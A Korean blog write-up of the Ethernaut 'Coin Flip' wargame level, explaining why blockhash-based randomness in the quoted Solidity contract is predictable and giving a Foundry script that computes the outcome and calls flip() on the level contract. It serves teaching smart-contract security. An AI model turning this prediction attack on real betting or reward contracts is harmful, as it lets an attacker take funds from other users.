Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
Tags
- libray
- ethernaut
- Smart contract
- approve
- Block
- ethereum virtual machine
- chain reorganization
- solidity
- Coin
- openzepplin
- ethereum
- web assembly
- transaction
- Oracle Cloud
- Ethererum
- Assembly
- soft fork
- coin flip
- syntax
- secureum
- byte code
- writeup
- hard fork
- EVM
- Wargame
- tx.origin
- NaughtCoin
- audit
- TransferFrom
- web3
Archives
- Today
- Total
c0mpos3r
[Ethernaut] 03. Coin Flip WriteUp 본문
1. 문제 분석
Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.
To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.
Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).
견고성에서 임의의 숫자를 생성하는 것은 까다로울 수 있습니다. 현재이를 생성하는 기본 방법은 없으며, 스마트 계약에 사용하는 모든 것이 지역 변수 및 비공개로 표시된 상태 변수를 포함하여 공개적으로 볼 수 있습니다. 광부는 또한 블록 하쉬, 타임 스탬프 및 특정 거래를 포함시킬 것인지를 제어 할 수 있습니다.이를 통해 이러한 가치를 편향시킬 수 있습니다.
암호화 적으로 입증 된 임의의 숫자를 얻으려면 Oracle, 링크 토큰 및 온 체인 계약을 사용하는 ChainLink VRF를 사용하여 숫자가 진정으로 무작위임을 확인할 수 있습니다.
다른 옵션으로는 비트 코인 블록 헤더 사용 (BTC 릴레이를 통해 확인), randao 또는 oraclize)가 포함됩니다.
1-1. code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
1-2. Coin Flip Contract 분석
상태 변수
- uint256 consecutiveWins public : 연속 성공 횟수 카운터
- uint256 lastHash internal : 직전에 사용한 블록해시 저장 (동일 블록 재사용 방지)
- uint256 FACTOR internal : 블록해시를 2진 동전면으로 스케일링하는 분모
주요 함수
- flip(bool _guess) public returns (bool) → blockhash(block.number-1) 읽기 → lastHash 중복 검사/저장(쓰기) → consecutiveWins 증감(쓰기) → 외부 호출 없음
2. Solving
blockhash(block.number - 1)로 계산해 의사난수 생성 알고리즘 결과가 완전히 예측 가능
- 이전 블록 해시로 coinFlip = uint256(blockhash(block.number-1)) / FACTOR 계산, guess = (coinFlip == 1)
- flip(guess) 호출로 1회 성공
- lastHash 중복 방지 때문에 한 Block당 1회 원칙으로 새 블록 때까지 대기 후 반복
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {CoinFlip} from "../src/CoinFlip.sol";
contract contractA {
address public probAddr = 0x8512dff4f795BaCa2B364059F177d6E5a3C6cBE6;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// console.log("probAddr code length : %d", probAddr.code.length);
CoinFlip coinFlipContract = CoinFlip(probAddr);
coinFlipContract.flip(side);
console.log("consecutiveWins : %d", coinFlipContract.consecutiveWins());
}
}
contract CounterScript is Script {
function run() public {
vm.startBroadcast();
contractA a = new contractA();
for (int i = 0; i < 1; i++) {
try a.attack() {
console.log("Attack success, consecutiveWins");
} catch {
console.log("Revert occurred, skipping...");
}
}
console.log("end....");
vm.stopBroadcast();
}
}
3. 결론
온체인 데이터, 블록 속성은 공개되고 채굴자, MEV에 의해 편향될 수 있어 RNG로 부적합하므로, 스마트컨트랙트의 확률·보상 결정은 검증 가능한 난수(예 Chainlink VRF)나 커밋–리빌 등 신뢰 가능한 메커니즘에 의존해야 한다.
'Web3 > Hacking' 카테고리의 다른 글
| Web3 보안의 구조적 전환: 2026년, 우리는 무엇을 준비해야 하는가 (0) | 2026.02.20 |
|---|---|
| [Ethernaut] 04. Telephone WriteUp (0) | 2025.08.24 |
| [Ethernaut] 02. Fallout WriteUp (1) | 2025.08.24 |
| [Ethernaut] 01. Fallback WriteUp (0) | 2025.08.24 |
| [Ethernaut] 00. Hello Ethernaut WriteUp (0) | 2025.08.24 |